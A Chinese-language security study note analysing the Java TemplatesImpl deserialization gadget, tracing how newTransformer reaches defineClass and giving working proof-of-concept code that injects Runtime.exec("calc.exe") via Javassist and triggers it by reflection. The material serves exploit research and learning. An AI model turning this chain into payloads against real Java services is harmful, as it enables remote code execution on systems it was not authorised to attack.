看到这个字眼时还是很熟悉的,能够直接想到 TemplatesImpl
链子,以前做过一道 2023 巅峰极客 BabyURL 就用到了这个链子,自己当时也是分析过 ,也是很久以前的事情了,这次就巩固总结一下吧
TemplatesImpl
类位于 com.sun.org.apache.xalan.internal.xsltc.trax
包中,是 Java 标准库的一部分
其主要作用是处理 XSLT(Extensible Stylesheet Language Transformations) ;XSLT 是一种用于将 XML 文档转换为其他格式(如 HTML、文本或其他 XML 文档)的技术。
但由于其内部加载字节码的机制,因此可以被滥用于反序列化漏洞利用。其关键机制是 TemplatesImpl
类内部维护了一个 _bytecodes
字段,这是一个用于存储类的字节码(对其注入恶意代码),这种原生依赖限制在 Java 9 以前的 JDK 版本下
寻找利用 大同小异,对于 ClassLoader 类加载器 ,我们能够想到的是加载恶意类直接利用,如果你熟悉 ClassLoader 的加载流程,其 defineClass
方法会利用类字节码去 JVM 中注册该类,如果我们可以直接利用 defineClass
,那将字节码直接注入即可
我们先来看一段 Xalan
正常使用的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.Templates;import javax.xml.transform.Transformer;import javax.xml.transform.stream.StreamResult;import javax.xml.transform.stream.StreamSource;import java.io.InputStream;import java.io.OutputStream;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;public class Main { public static void main (String[] args) throws Exception { Path out = Paths.get("target" , "output.html" ); Files.createDirectories(out.getParent()); ClassLoader cl = Thread.currentThread().getContextClassLoader(); try (InputStream xml = cl.getResourceAsStream("input.xml" ); InputStream xslt = cl.getResourceAsStream("transform.xslt" ); OutputStream html = Files.newOutputStream(out)) { TransformerFactoryImpl factory = new TransformerFactoryImpl (); Templates templates = factory.newTemplates(new StreamSource (xslt)); Transformer transformer = templates.newTransformer(); transformer.setParameter("title" , "Example" ); transformer.transform(new StreamSource (xml), new StreamResult (html)); } } }
这个代码可以将 XML 文档转换成 HTML 格式
我们在 newTransformer()
方法这里下断点,这是用于 XSLT 转换的一个主要方法
之后我们继续跟进 getTransletInstance()
核心方法,主要负责加载和实例化编译后的 XSLT 转换类
跟进 defineTransletClasses()
这里就找到了我们想要的,继续跟进会发现调用了原生 defineClass
方法,整体调用栈
那么我们的入口类就是 newTransformer()
方法了
构造 Poc 整体链子感觉还是挺简单的,不过我们回过头来要注意些细节
getTransletInstance()
方法会检查 _name
是否为 null
,这里我们需要设定一个 string 类型的值
line 408 中会通过 _class[_transletIndex]
获取主类,_transletIndex
的默认值是-1
跟进 defineTransletClasses()
这部分代码
1 2 3 4 5 6 7 8 9 10 11 12 for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } }
这里会循环遍历我们 _bytecodes
数组中的字节码,检查父类是否为 ABSTRACT_TRANSLET
1 2 private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ;
因此为了保证能够成功实例化,我们还要确保恶意类继承自它
依旧是 defineTransletClasses()
,在使用自定义类加载器 TransletClassLoader
时, _tfactory
字段用来加载传入的字节码,可以看到这个属性默认为 null
1 private transient TransformerFactoryImpl _tfactory = null ;
当访问一个 null 对象时会出现 NullPointerException 空指针异常的错误,因此我们需要设置一个 TransformerFactoryImpl
类型的实例
总结一下:
_name
不为 null
恶意类继承自 ABSTRACT_TRANSLET
实例化 _tfactory
入口类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package org.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.Serializable;public class EntryClass extends AbstractTranslet implements Serializable { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package org.example;import javassist.ClassPool;import javassist.CtClass;public class Evil { public static byte [] makeBytes() throws Exception { String cmd = "Runtime.getRuntime().exec(\"calc.exe\");" ; ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.get(EntryClass.class.getName()); ctClass.makeClassInitializer().insertBefore(cmd); return ctClass.toBytecode(); } }
也可以不要入口类,直接用 Javassist
的 setSuperclass
修改父类
1 2 3 4 5 6 7 8 9 10 public class Evil { public static byte [] makeBytes() throws Exception { String cmd = "Runtime.getRuntime().exec(\"calc.exe\");" ; ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("org.example.Evil" ); ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" )); ctClass.makeClassInitializer().insertBefore(cmd); return ctClass.toBytecode(); } }
执行类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package org.example;import java.lang.reflect.Field;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class SinkEvil { public static void main (String[] args) throws Exception { byte [] byteCode = Evil.makeBytes(); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "Qu43ter" ); setFieldValue(templates, "_bytecodes" , new byte [][]{byteCode}); setFieldValue(templates, "_tfactory" , new com .sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl()); templates.newTransformer(); } static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field declaredField = obj.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true ); declaredField.set(obj, value); } }
其它 也可以结合 FastJson
进行攻击,这个先插个眼以后再单独分析